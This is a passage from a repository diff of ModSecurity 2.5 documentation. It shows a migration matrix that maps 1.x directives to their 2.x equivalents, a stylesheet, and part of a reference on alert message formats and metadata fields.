FILES_TMPNAMES</td><td>The main difference here is that now @inspectFile is an Operator vs. a global Directive. This means that you can apply @inspectFile to individual rules and use different scripts as appropriate.
Also, the return codes are now reversed &#8211;
In 1.x, a return code of &#8220;1&#8221; means that the file would be allowed.
In 2.x, a return code of &#8220;1&#8221; means that the file would be denied. </td><td>In order to scan/inspect uploaded files in 2.x, you need to create specific rules that use the FILES_TMPNAMES variable (as these are the names of the files that are temporarily stored on disk) and then use the @inspectFile Operator on each rule.
Also, make sure to swap your return codes in existing scripts as mentioned in the notes column.</td></tr><tr><td><span class="bold"><strong>Memory limits for uploaded files</strong></span></td><td>SecUploadInMemoryLimit</td><td>SecRequestBodyInMemoryLimit</td><td>These two directives function the same.</td><td>Change the SecUploadInMemoryLimit directive to SecRequestBodyInMemoryLimit.</td></tr></table></div></div></div></body></html>

814
2.5.13/2.5.x/doc/migration-matrix.xml Normal file
View File

@@ -0,0 +1,814 @@
<?xml version="1.0" encoding="UTF-8"?>
<article>
<title>ModSecurity Migration Matrix</title>
<articleinfo>
<releaseinfo>Version 1.0 / (April 10, 2007)</releaseinfo>
<copyright>
<year>2004-2010</year>
<holder>Trustwave Holdings, Inc. (<ulink
url="http://www.trustwave.com">http://www.trustwave.com</ulink>)</holder>
</copyright>
</articleinfo>
<section id="01-introduction">
<title>Migration from 1.x to 2.x</title>
<section>
<para>If you are already using an older version of ModSecurity and want
to upgrade/migrate your existing custom rules, you will need to ensure
that you properly translate all of your Directives to their
corresponding 2.0 counterparts. Some directives have simply changed
names, however some directives actually behave differently so it is
important that you also review the entire 2.0 Reference Manual. The
migration matrix show below should help you to translate ModSecurity 1.X
directives to the 2.0 values. There are also some notes that provide
additional information is a directive significantly changed how it
operates. </para>
<table border="1">
<tr>
<td>
<emphasis role="bold">Feature/Capability</emphasis>
</td>
<td>
<emphasis role="bold">ModSecurity 1.x</emphasis>
</td>
<td>
<emphasis role="bold">ModSecurity 2.x</emphasis>
</td>
<td>
<emphasis role="bold">Notes</emphasis>
</td>
<td>
<emphasis role="bold">How To Upgrade</emphasis>
</td>
</tr>
<tr>
<td>
<emphasis role="bold">Apache Version Supported</emphasis>
</td>
<td>Apache 1.x/2.x</td>
<td>Apache 2.x Only</td>
<td>ModSecurity 2.0 will only work with Apache 2.x and not the older
1.3 version.</td>
<td>If you are mainly an Apache 1.3 shop and/or you have other web
servers that you want to protect (such as IIS) an alternative
solution is to deploy an Apache 2.x reverse proxy server and
implement ModSecurity 2.x on it.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Installation</emphasis>
</td>
<td>Can be installed as either a DSO module or as a statically
compiled module.</td>
<td>Can currently only be installed as a DSO module.</td>
<td>In 1.x, you could use apxs directly, while in 2.x you must use
the provided Makefile.</td>
<td>If you can not use DSOs in your current Apache configs, you may
look at implementing a front-end Apache reverse proxy server.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Configuration - IfModule</emphasis>
</td>
<td>Apache 1.x - &lt;IfModule mod_security.c&gt; Apache 2.x -
&lt;IfModule security_module&gt;</td>
<td>&lt;IfModule security2_module&gt;</td>
<td>The syntax of using IfModule has changed between Apache 1.x and
2.x</td>
<td>Make sure that any existing &lt;IfModule&gt; directives uses the
correct syntax.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Processing Phases Supported</emphasis>
</td>
<td>2</td>
<td>5</td>
<td>ModSecurity 1.x supports:<itemizedlist>
<listitem>
<para>Inbound - which corresponds to current Mod 2.x Request
Body phase and the Apache “fixups” phase.</para>
</listitem>
<listitem>
<para>Outbound - which corresponds to current Mod 2.x Response
Body phase and just after the Apache “response” processing
phase.</para>
</listitem>
</itemizedlist>ModSecurity 2.x supports: <itemizedlist>
<listitem>
<para>Request Headers – which corresponds with the Apache
“post-read-request” phase.</para>
</listitem>
<listitem>
<para>Request Body – which corresponds with the Apache
“fixups” phase.</para>
</listitem>
<listitem>
<para>Response Headers – which corresponds to the Apache
“response” phase.</para>
</listitem>
<listitem>
<para>Response Body – which corresponds to just after the
Apache “response” phase.</para>
</listitem>
<listitem>
<para>Logging - which is the Apache logging phase.</para>
</listitem>
</itemizedlist></td>
<td>If you are translating existing 1.x rules
(SecFilter/SecFilterSelective) then you should use phase:2 in the
new rule syntax. Translate existing OUTPUT rules to run in
phase:4.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Directive to turn On/Off the Rule
Engine</emphasis>
</td>
<td>SecFilterEngine</td>
<td>SecRuleEngine ctl:ruleEngine=</td>
<td>
<itemizedlist>
<listitem>
<para>1.x – values were On, Off and DynamicOnly and was a
Global directive.</para>
</listitem>
<listitem>
<para>2.x - values are On, Off or DetectionOnly.</para>
</listitem>
<listitem>
<para>2.x – the “ctl” action can control the RuleEngine
dynamically for individual requests.</para>
</listitem>
</itemizedlist>
</td>
<td>Replace SecFilterEngine with SecRuleEngine. The DynamicOnly mode
is not supported in ModSecurity 2.x because it was sometimes
difficult for ModSecurity to determine if a particular request was
dynamic in nature or not. Use of AddType vs. AddHandler would cause
problems. Since this logic relies on the internal (and not entirely
documented) workings of Apache and on the chosen configuration it
also makes it somewhat unpredictable.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Directive to handle the Audit
Engine</emphasis>
</td>
<td>SecAuditEngine On, Off, RelevantOnly, DynamicOrRelevant</td>
<td>SecAuditEngine On, Off, RelevantOnly</td>
<td>In 2.x, the DynamicOrRelevant option was discontinued.</td>
<td>If you are using DynamicOrRelevant then switch it to
RelevantOnly.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Default Rule Action</emphasis>
</td>
<td>SecFilterDefaultAction</td>
<td>SecDefaultAction</td>
<td>
<itemizedlist>
<listitem>
<para>1.x – SecFilterDefaultAction could be used anywhere in
the config and it would be picked up by all rules.</para>
</listitem>
<listitem>
<para>2.x – SecDefaultAction must come before rules and be
specified in each context. The default setting for this
directive (if it is not specified otherwise) is –
<literal>SecDefaultAction
phase:2,log,deny,status:403,\</literal></para>
<para>
<literal>t:lowercase,t:replaceNulls,\</literal>
</para>
<para>
<literal>t:compressWhitespace</literal>
</para>
</listitem>
</itemizedlist>
</td>
<td>Replace SecFilterDefaultAction with SecDefaultAction.
Optionally, you can group rules together where you would like to use
the same action and then specify a SecDefaultAction line before each
group. Also keep in mind that while most actions specified on
individual rules will supersede those specified in SecDefaultAction,
transformation functions are additive. So, if you specify a
“t:base64Decode” transformation function to a rule, it will be added
after the lowercase, replaceNulls and compressWhitespace
transformation functions.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Debug Logging</emphasis>
</td>
<td>SecFilterDebugLog SecFilterDebugLogLevel</td>
<td>SecDebugLog SecDebugLogLevel</td>
<td>Name change only.</td>
<td>Change the names of these directives to their 2.x
counterparts.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Rule Directive(s)</emphasis>
</td>
<td>SecFilter SecFilterSelective</td>
<td>SecRule</td>
<td>
<itemizedlist>
<listitem>
<para>In Mod 1.x, SecFilter and SecFilterSelective were case
insensitive. </para>
</listitem>
<listitem>
<para>In Mod 2.x, the case of data is not altered unless the
lowercase transformation funce is used. SecRule has
essentially the same rule syntax as SecFilterSelective.</para>
</listitem>
</itemizedlist>
</td>
<td>Replace SecFilterSelective with SecRule and make sure to
translate the variable tested according to this list. Replace any
SecFilter with a new SecRule directive. You will need to specify a
new Variable location and a phase. You can optionally specify a
disruptive action, otherwise it will be inherited from a previous
SecDefaultAction. </td>
</tr>
<tr>
<td>
<emphasis role="bold">Rule Exceptions</emphasis>
</td>
<td>Whitelist approach – use pass, allow actions False Positive
Approach – use SecFilterRemove</td>
<td>Whitelist approach – use pass, allow and ctl actions. False
Positive Approach – use SecRuleRemoveById and Apache Scope
context</td>
<td>In Mod 2.x, using the “allow” action may not be enough to truly
let a request through as “allow” only applies to the current
processing phase. This means that rules in subsequent phases may act
on the request. This is why you need to also use the
“ctl:ruleEngine=Off” action if you really want to let a request
through.</td>
<td>See Blog post on handling false positives and creating custom
rules -
http://www.modsecurity.org/blog/archives/2007/02/handling_false.html</td>
</tr>
<tr>
<td>
<emphasis role="bold">Directive to control rule inheritance to
Apache Scope locations (Virtual Hosts, Location,
Directory)</emphasis>
</td>
<td>SecFilterInheritance</td>
<td>SecRuleInheritance</td>
<td>The best use of this directive is when you want to start with a
“clean slate” so you can use SecRuleInheritance Off and then specify
your new rule sets. Note – Rule Inheritance does not work across
Apache Scope directives (such as Vhosts, Location and Directory
directives). This means that you can not use SecRuleInheritance On
to inherit a SecDefaultAction directive within these new contexts.
This is an issue with the way that Apache inherits contexts. It is
for this reason that we recommend that you specify new
SecDefaultAction directives within each Apache scope location that
you create.</td>
<td>Translate any existing “SecFilterInheritance Off” rules directly
to “SecRuleInheritance Off”. Then replace any “SecFilterInheritance
On” directives inside Apache Scope context locations with a new
SecDefaultAction directive and then import the rules that you want
with standard Apache Include directives.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Ability to manage rules in Apache Scope
locations</emphasis>
</td>
<td>SecFilterImport SecFilterRemove</td>
<td>SecRuleRemoveById SecRuleRemoveByMsg</td>
<td>SecFilterRemove is now SecRuleRemoveById or SecRuleRemoveByMsg.
SecFilterImport is no longer supported.</td>
<td>Change all of your existing SecFilterRemove rules to
SecRuleRemoveById. For any existing SecFilterImport rules, you will
need to either copy the rule into the context or use an Apache
Include Directive to include entire files (such as including the
Core Rules files).</td>
</tr>
<tr>
<td>
<emphasis role="bold">Ability to verify URL/UTF8
Encodings</emphasis>
</td>
<td>SecFilterCheckURLEncoding SecFilterCheckUnicodeEncoding </td>
<td>@validateUrlEncoding @validateUtf8Encoding </td>
<td>In Mod 1.x, these were Global Directives and in Mod 2.x they are
Operators that can be applied selectively to each rule.</td>
<td>Add the rules that will do exactly the same as the
directives</td>
</tr>
<tr>
<td>
<emphasis role="bold">Ability to enforce a Byte Range (allowed
character set)</emphasis>
</td>
<td>SecFilterForceByteRange</td>
<td>@validateByteRange</td>
<td>In Mod 1.x, this was a Global Directive and in Mod 2.x it is an
Operator that can be applied selectively to each rule. In Mod 1.x,
this directive did not check POST payloads when multipart/form-data
encoding was used.</td>
<td>You can now add @validateByteRange operators to individual
rules. This helps if you have differences in allowed character sets
for different portions of the web application.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Ability to Normalize/Transform Request
Data</emphasis>
</td>
<td>ModSecurity 1.x automatically applied the following
transformations:<itemizedlist>
<listitem>
<para>On Windows only, convert \ to /</para>
</listitem>
<listitem>
<para>Reduce /./ to /</para>
</listitem>
<listitem>
<para>Reduce // to /</para>
</listitem>
<listitem>
<para>Decode URL-encoded characters</para>
</listitem>
<listitem>
<para>Converts Null Bytes to Space character</para>
</listitem>
</itemizedlist></td>
<td>
<itemizedlist>
<listitem>
<para>base64Decode </para>
</listitem>
<listitem>
<para>base64Encode</para>
</listitem>
<listitem>
<para>compressWhitespace</para>
</listitem>
<listitem>
<para>escapeSeqDecode</para>
</listitem>
<listitem>
<para>hexDecode</para>
</listitem>
<listitem>
<para>hexEncode</para>
</listitem>
<listitem>
<para>htmlEntityDecode</para>
</listitem>
<listitem>
<para>lowercase</para>
</listitem>
<listitem>
<para>md5</para>
</listitem>
<listitem>
<para>none</para>
</listitem>
<listitem>
<para>normalisePath</para>
</listitem>
<listitem>
<para>normalisePathWin</para>
</listitem>
<listitem>
<para>removeNulls</para>
</listitem>
<listitem>
<para>removeWhitespace</para>
</listitem>
<listitem>
<para>replaceComments</para>
</listitem>
<listitem>
<para>replaceNulls</para>
</listitem>
<listitem>
<para>urlDecode</para>
</listitem>
<listitem>
<para>urlDecodeUni</para>
</listitem>
<listitem>
<para>urlEncode</para>
</listitem>
<listitem>
<para>sha1</para>
</listitem>
</itemizedlist>
</td>
<td>In Mod 1.x, the normalization functions were implicit and you
could not control them. In Mod 2.x, not normalization is done by
default. There are now “Transformation Functions” that allow you to
selectively apply normalizations and other features.</td>
<td>You should add the appropriate transformation functions to
either SecDefaultAction directive or each individual rule. See the
Core Rules files for examples. Keep in mind that transformation
functions are inherited from parent SecDefaultAction directives.
Care should be taken to ensure that RegEx patterns match the data
after transformation functions are applied. In order to avoid
possible unwanted inherited transformation functions, use “t:none”
to either not apply any transformation functions or you can then
specify specific transformation functions after “t:none”.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Ability to specify an arbitrary Request
Header in a rule</emphasis>
</td>
<td>HEADER_headername HTTP_headername</td>
<td>REQUEST_HEADERS REQUEST_HEADERS:headername
REQUEST_HEADERS:/RegEx/</td>
<td>The HTTP_headername syntax has been superseded by the new
REQUEST_HEADERS:headername syntax and will not be supported in
future releases. The advantage to using the new syntax is that you
can also use RegEx in the headername portion.</td>
<td>Translate any existing HTTP_headername directives to
REQUEST_HEADERS:headername. Also consider consolidating header
checks by using Regular Expressions in the header name portion of
the Variable.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Variable/Location for the entire URL Request
Line</emphasis>
</td>
<td>THE_REQUEST</td>
<td>REQUEST_LINE</td>
<td>Functions the same. The variable includes the Request Method,
URI and HTTP version data.</td>
<td>Translate any existing THE_REQUEST directives to REQUEST_LINE
directives.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Variable/Location for Arguments</emphasis>
</td>
<td>ARG_name</td>
<td>ARGS:name ARGS:/RegEx/</td>
<td>Similar to the HTTP_headername situation, the advantage of the
new syntax is the ability to use RegEx in the argument name.</td>
<td>Translate any existing ARG_name directives to ARGS:name
directives.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Accessing Request Bodies</emphasis>
</td>
<td>SecFilterScanPOST POST_PAYLOAD</td>
<td>SecRequestBodyAccess Phase:2 REQUEST_BODY</td>
<td>In 2.x, the directive is now called SecRequestBodyAccess and it
is more flexible than SecFilterScanPOST as it is able to inspect all
request bodies (such as PUT and XML, etc…) and not just POST
payloads.</td>
<td>Replace the existing SecFilterScanPOST directive with
SecRequestBodyAccess. For individual rules where you want to inspect
the request bodies, you must specify REQUEST_BODY as the variable
and you also must ensure that it is running in phase:2 (by either an
inherited SecDefaultAction setting or by explicitly specifying the
phase within the rule action).</td>
</tr>
<tr>
<td>
<emphasis role="bold">Ability to disable POST/Request buffering
dynamically</emphasis>
</td>
<td>MODSEC_NOPOSTBUFFERING</td>
<td>ctl:requestBodyAccess=Off</td>
<td>In 2.x, you can use the ctl action to turn on/off request body
access on a per rule basis.</td>
<td>Take any existing entries in the httpd.conf file that set the
MODSEC_NOPOSTBUFFERING Env variable and translate them to Mod 2.x
rules.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Accessing Cookies</emphasis>
</td>
<td>COOKIES COOKIES_COUNT COOKIES_NAMES COOKIES_VALUES
COOKIE_name</td>
<td>REQUEST_HEADERS:Cookie REQUEST_COOKIES_NAMES
REQUEST_COOKIES_NAMES:name REQUEST_COOKIES_NAMES:/RegEx/
REQUEST_COOKIES REQUEST_COOKIES:name REQUEST_COOKIES:/RegEx/</td>
<td> In 2.x, you can use the “&amp;” character to “count” the number
of variables. While there are different ways to access request
cookies, the main difference between them are that
REQUEST_HEADERS:Cookie will include all of the “raw” Cookie data
while any of the REQUEST_COOKIES variable values are parsed.</td>
<td>Translate rules as follows – Mod 1.x -&gt; Mod 2.x COOKIES -&gt;
REQUEST_COOKIES COOKIES_COUNT -&gt; &amp;REQUEST_COOKIES
COOKIES_NAMES -&gt; REQUEST_COOKIES_NAMES COOKIES_VALUES -&gt;
REQUEST_COOKIES COOKIE_name -&gt; REQUEST_COOKIES:name</td>
</tr>
<tr>
<td>
<emphasis role="bold">Counting Variables</emphasis>
</td>
<td>ARGS_COUNT COOKIES_COUNT HEADERS_COUNT FILES_COUNT</td>
<td>&amp;ARGS &amp;REQUEST_COOKIES &amp;REQUEST_HEADERS
&amp;FILES</td>
<td>In 2.x, prepending the “&amp;” character will count the number
of variables. Example – 1.x – HEADERS_COUNT 2.x -
&amp;REQUEST_HEADERS</td>
<td>Translate existing 1.x rules as listed.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Accessing HTTP Status Code</emphasis>
</td>
<td>OUTPUT_STATUS</td>
<td>RESPONSE_STATUS Phase:3</td>
<td>In 2.x, you need to specify both the RESPONSE_STATUS variable
and phase:3 with the rule.</td>
<td>Translate any existing 1.x OUTPUT STATUS rules to use
RESPONSE_STATUS and phase:3.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Accessing Response Bodies/Post
Payloads</emphasis>
</td>
<td>SecFilterScanOutput SecFilterOutputMimeTypes OUTPUT</td>
<td>SecResponseBodyAccess SecResponseBodyMimeTypes RESPONSE_BODY
Phase:4</td>
<td>In 1.x, neither skipnext nor chain could be used on the OUTPUT
location. In 2.x, both actions can be used on RESPONSE_BODY</td>
<td>Translate directives/rules as follows – Mod 1.x -&gt; Mod 2.x
SecFilterScanOutput -&gt; SecResponseBodyAccess
SecFilterOutputMimeTypes -&gt; SecResponseBodyMimeTypes OUTPUT -&gt;
RESPONSE_BODY/Phase:4</td>
</tr>
<tr>
<td>
<emphasis role="bold">Cookie Normalization</emphasis>
</td>
<td>SecFilterCookieFormat SecFilterNormalizeCookies</td>
<td>SecCookieFormat</td>
<td>SecFilterNormalizeCookies is no longer supported as Mod 2.x
transformation functions can now be used to normalize all Variables
including Cookie data.</td>
<td>Change SecFilterCookieFormat to SecCookieFormat. When specifying
Cookie variables, then apply the applicable transformation functions
in the action field of the rule.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Ability to skip rules</emphasis>
</td>
<td>skipnext</td>
<td>skip</td>
<td>In Mod 2.x – skip takes into account chained rulesets and treats
them as 1 rule. In Mod 1.x – skipnext treated each rule directive as
an individual rule regardless of whether or not they were tied
together as a chained ruleset.</td>
<td>Translate all skipnext rules to skip, however make sure to
factor in any chained rulesets that may follow and adjust the skip
number accordingly.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Adding/Removing Audit Log Data on a per rule
basis</emphasis>
</td>
<td>logparts</td>
<td>clt:auditLogParts=</td>
<td>The rules function the same.</td>
<td>Translate any existing logparts actions to the ctl:auditLogParts
equivalent.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Inspecting uploaded files</emphasis>
</td>
<td>SecUploadApproveScript</td>
<td>@inspectFile FILES_TMPNAMES</td>
<td>The main difference here is that now @inspectFile is an Operator
vs. a global Directive. This means that you can apply @inspectFile
to individual rules and use different scripts as appropriate. Also,
the return codes are now reversed – In 1.x, a return code of “1”
means that the file would be allowed. In 2.x, a return code of “1”
means that the file would be denied. </td>
<td>In order to scan/inspect uploaded files in 2.x, you need to
create specific rules that use the FILES_TMPNAMES variable (as these
are the names of the files that are temporarily stored on disk) and
then use the @inspectFile Operator on each rule. Also, make sure to
swap your return codes in existing scripts as mentioned in the notes
column.</td>
</tr>
<tr>
<td>
<emphasis role="bold">Memory limits for uploaded files</emphasis>
</td>
<td>SecUploadInMemoryLimit</td>
<td>SecRequestBodyInMemoryLimit</td>
<td>These two directives function the same.</td>
<td>Change the SecUploadInMemoryLimit directive to
SecRequestBodyInMemoryLimit.</td>
</tr>
</table>
</section>
</section>
</article>

BIN
2.5.13/2.5.x/doc/modsecurity-logo.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 98 KiB

102
2.5.13/2.5.x/doc/modsecurity-reference.css Normal file
View File

@@ -0,0 +1,102 @@
body {
font: 13px/20px Arial, Helvetica;
background-color: white;
width: 800px;
}
/* TEXT */
PRE {
font-size: 100%;
padding: 5px;
border-style: solid;
border-width: 1px;
border-color: #CCCCCC;
background-color: #F5F8FA;
}
p, td, tr, li, ol, ul {
/*font-family: Trebuchet MS, Verdana, Tahoma, Arial, Helvetica, Geneva;*/
/*font-family: Arial, Helvetica;
font-size: 14px;
line-height: 24px;*/
}
.copyright {
font-size: 10px;
}
h1 {
padding-top: 40px;
font: 24px/30px Arial, Helvetica;
font-weight: bold;
}
h2 {
font: 20px/30px Arial, Helvetica;
font-weight: bold;
}
h3 {
padding-top: 15px;
font: 16px/10px Arial, Helvetica;
font-weight: bold;
}
h4 {
padding-top: 15px;
font: 14px/10px Arial, Helvetica;
font-weight: bold;
}
.header {
background-color: #00448B;
border-top: 6px solid #002B6E;
height: 84px;
vertical-align: top;
padding-left: 20px;
padding-top: 10px;
}
.topNavigation {
background-color: #EEEEEE;
background: url('g/topnav-background.gif');
height: 23px;
line-height: 12px;
vertical-align: top;
padding-left: 12px;
padding-top: 5px;
}
.topLink, A.topLink:link, A.topLink:active, A.topLink:visited {
font-weight: bold;
color: black;
text-decoration: none;
padding-left: 8px;
padding-right: 8px;
}
A.topLink:hover {
color: #BB0000;
}
#navheader td {
font-size: 12px;
}
#navfooter td {
font-size: 12px;
}
h3.title {
margin-top: 0px;
}
.note {
border-top: 1px solid #CCCCCC;
border-bottom: 1px solid #CCCCCC;
}

BIN
2.5.13/2.5.x/doc/modsecurity.gif Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.5 KiB

6378
2.5.13/2.5.x/doc/modsecurity2-apache-reference.xml Normal file
View File

File diff suppressed because it is too large Load Diff

979
2.5.13/2.5.x/doc/modsecurity2-data-formats.xml Normal file
View File

@@ -0,0 +1,979 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE article PUBLIC "-//OASIS//DTD DocBook XML V4.4//EN"
"http://www.docbook.org/xml/4.4/docbookx.dtd">
<article>
<title>ModSecurity 2 Data Formats</title>
<articleinfo>
<releaseinfo>Version 2.5.10-dev1 (March 24, 2009)</releaseinfo>
<copyright>
<year>2004-2010</year>
<holder>Trustwave Holdings, Inc. (<ulink url="http://www.trustwave.com"
>http://www.trustwave.com</ulink>)</holder>
</copyright>
</articleinfo>
<para>The purpose of this document is to describe the formats of the ModSecurity alert messages,
transaction logs and communication protocols, which would not only allow for a better
understanding what ModSecurity does but also for an easy integration with third-party tools
and products.</para>
<section>
<title>Alerts</title>
<para>As part of its operations ModSecurity will emit alerts, which are either
<emphasis>warnings</emphasis> (non-fatal) or <emphasis>errors</emphasis> (fatal,
usually leading to the interception of the transaction in question). Below is an example
of a ModSecurity alert entry:</para>
<programlisting>Access denied with code 505 (phase 1). Match of "rx
^HTTP/(0\\\\.9|1\\\\.[01])$" against "REQUEST_PROTOCOL" required.
[id "960034"] [msg "HTTP protocol version is not allowed by policy"]
[severity "CRITICAL"] [uri "/"] [unique_id "PQaTTVBEUOkAAFwKXrYAAAAM"]</programlisting>
<note>
<para>Alerts will only ever contain one line of text but we've broken the above example
into multiple lines to make it fit into the page.</para>
</note>
<para>Each alert entry begins with the engine message, which describes what ModSecurity did
and why. For
example:<programlisting>Access denied with code 505 (phase 1). Match of "rx
^HTTP/(0\\\\.9|1\\\\.[01])$" against "REQUEST_PROTOCOL" required.</programlisting></para>
<section>
<title>Alert Action Description</title>
<para>The first part of the engine message tells you whether ModSecurity acted to
interrupt transaction or rule processing:</para>
<orderedlist>
<listitem>
<para>If the alert is only a warning, the first sentence will simply say
<emphasis>Warning</emphasis>.</para>
</listitem>
<listitem>
<para>If the transaction was intercepted, the first sentence will begin with
<emphasis>Access denied</emphasis>. What follows is the list of possible
messages related to transaction interception:</para>
<itemizedlist>
<listitem>
<para><emphasis>Access denied with code %0</emphasis> - a response with
status code <literal>%0</literal> was sent.</para>
</listitem>
<listitem>
<para><emphasis>Access denied with connection close</emphasis> -
connection was abruptly closed.</para>
</listitem>
<listitem>
<para><emphasis>Access denied with redirection to %0 using status
%1</emphasis> - a redirection to URI <literal>%0</literal> was
issued using status <literal>%1</literal>.</para>
</listitem>
</itemizedlist>
</listitem>
<listitem>
<para>There is also a special message that ModSecurity emits where an <literal
>allow</literal> action is executed. There are three variations of this
type of message:</para>
<itemizedlist>
<listitem>
<para><emphasis>Access allowed</emphasis> - rule engine stopped
processing rules (transaction was unaffected).</para>
</listitem>
<listitem>
<para><emphasis>Access to phase allowed</emphasis> - rule engine stopped
processing rules in the current phase only. Subsequent phases will
be processed normally. Transaction was not affected by this rule but
it may be affected by any of the rules in the subsequent
phase.</para>
</listitem>
<listitem>
<para><emphasis>Access to request allowed</emphasis> - rule engine
stopped processing rules in the current phase. Phases prior to
request execution in the backend (currently phases 1 and 2) will not
be processed. The response phases (currently phases 3 and 4) and
others (currently phase 5) will be processed as normal. Transaction
was not affected by this rule but it may be affected by any of the
rules in the subsequent phase.</para>
</listitem>
</itemizedlist>
</listitem>
</orderedlist>
</section>
<section>
<title>Alert Justification Description</title>
<para>The second part of the engine message explains <emphasis>why</emphasis> the alert
was generated. Since it is automatically generated from the rules it will be very
technical in nature, talking about operators and their parameters and give you
insight into what the rule looked like. But this message cannot give you insight
into the reasoning behind the rule. A well-written rule will always specify a
human-readable message (using the <literal>msg</literal> action) to provide further
information.</para>
<para>The format of the second part of the engine message depends on whether it was
generated by the operator (which happens on a match) or by the rule processor (which
happens where there is not a match, but the negation was used):</para>
<itemizedlist>
<listitem>
<para><literal>@beginsWith</literal> - <emphasis>String match %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@contains</literal> - <emphasis>String match %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@containsWord</literal> - <emphasis>String match %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@endsWith</literal> - <emphasis>String match %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@eq</literal> - <emphasis>Operator EQ matched %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@ge</literal> - <emphasis>Operator GE matched %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@geoLookup</literal> - <emphasis>Geo lookup for %0 succeeded at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@inspectFile</literal> - <emphasis>File %0 rejected by the
approver script %1: %2</emphasis></para>
</listitem>
<listitem>
<para><literal>@le</literal> - <emphasis>Operator LE matched %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@lt</literal> - <emphasis>Operator LT matched %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@rbl</literal> - <emphasis>RBL lookup of %0 succeeded at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@rx</literal> - <emphasis>Pattern match %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@streq</literal> - <emphasis>String match %0 at
%1.</emphasis></para>
</listitem>
<listitem>
<para><literal>@validateByteRange</literal> - <emphasis>Found %0 byte(s) in %1
outside range: %2.</emphasis></para>
</listitem>
<listitem>
<para><literal>@validateDTD</literal> - <emphasis>XML: DTD validation
failed.</emphasis></para>
</listitem>
<listitem>
<para><literal>@validateSchema</literal> - <emphasis>XML: Schema validation
failed.</emphasis></para>
</listitem>
<listitem>
<para><literal>@validateUrlEncoding</literal></para>
<itemizedlist>
<listitem>
<para><emphasis>Invalid URL Encoding: Non-hexadecimal digits used at
%0.</emphasis></para>
</listitem>
<listitem>
<para><emphasis>Invalid URL Encoding: Not enough characters at the end
of input at %0.</emphasis></para>
</listitem>
</itemizedlist>
</listitem>
<listitem>
<para><literal>@validateUtf8Encoding</literal></para>
<itemizedlist>
<listitem>
<para><emphasis>Invalid UTF-8 encoding: not enough bytes in character at
%0.</emphasis></para>
</listitem>
<listitem>
<para><emphasis>Invalid UTF-8 encoding: invalid byte value in character
at %0.</emphasis></para>
</listitem>
<listitem>
<para><emphasis>Invalid UTF-8 encoding: overlong character detected at
%0.</emphasis></para>
</listitem>
<listitem>
<para><emphasis>Invalid UTF-8 encoding: use of restricted character at
%0.</emphasis></para>
</listitem>
<listitem>
<para><emphasis>Invalid UTF-8 encoding: decoding error at
%0.</emphasis></para>
</listitem>
</itemizedlist>
</listitem>
<listitem>
<para><literal>@verifyCC</literal> - <emphasis>CC# match %0 at
%1.</emphasis></para>
</listitem>
</itemizedlist>
<para>Messages not related to operators:</para>
<itemizedlist>
<listitem>
<para>When <literal>SecAction</literal> directive is processed -
<emphasis>Unconditional match in SecAction.</emphasis></para>
</listitem>
<listitem>
<para>When <literal>SecRule</literal> does not match but negation is used -
<emphasis>Match of %0 against %1 required.</emphasis></para>
</listitem>
</itemizedlist>
<note>
<para>The parameters to the operators <literal>@rx</literal> and <literal
>@pm</literal> (regular expression and text pattern, respectively) will be
truncated to 252 bytes if they are longer than this limit. In this case the
parameter in the alert message will be terminated with three dots.</para>
</note>
</section>
<section>
<title>Meta-data</title>
<para>The metadata fields are always placed at the end of the alert entry. Each metadata
field is a text fragment that consists of an open bracket followed by the metadata
field name, followed by the value and the closing bracket. What follows is the text
fragment that makes up the <literal>id</literal> metadata field.</para>
<programlisting>[id "960034"]</programlisting>
<para>The following metadata fields are currently used:</para>
<orderedlist>
<listitem>
<para><literal>offset</literal> - The byte offset where a match occured within
the target data. This is not always available.</para>
</listitem>
<listitem>
<para><literal>id</literal> - Unique rule ID, as specified by the <literal
>id</literal> action.</para>
</listitem>
<listitem>
<para><literal>rev</literal> - Rule revision, as specified by the <literal
>rev</literal> action.</para>
</listitem>
<listitem>
<para><literal>msg</literal> - Human-readable message, as specified by the
<literal>msg</literal> action.</para>
</listitem>
<listitem>
<para><literal>severity</literal> - Event severity as text, as specified by the
<literal>severity</literal> action. The possible values (with their
corresponding numberical values in brackets) are <literal
>EMERGENCY</literal> (0), <literal>ALERT</literal> (1), <literal
>CRITICAL</literal> (2), <literal>ERROR</literal> (3), <literal
>WARNING</literal> (4), <literal>NOTICE</literal> (5), <literal
>INFO</literal> (6) and <literal>DEBUG</literal> (7).</para>
</listitem>
<listitem>
<para><literal>unique_id</literal> - Unique event ID, generated
automatically.</para>
</listitem>
<listitem>
<para><literal>uri</literal> - Request URI.</para>
</listitem>
<listitem>
<para><literal>logdata</literal> - contains transaction data fragment, as
specified by the <literal>logdata</literal> action.</para>
</listitem>
</orderedlist>
</section>
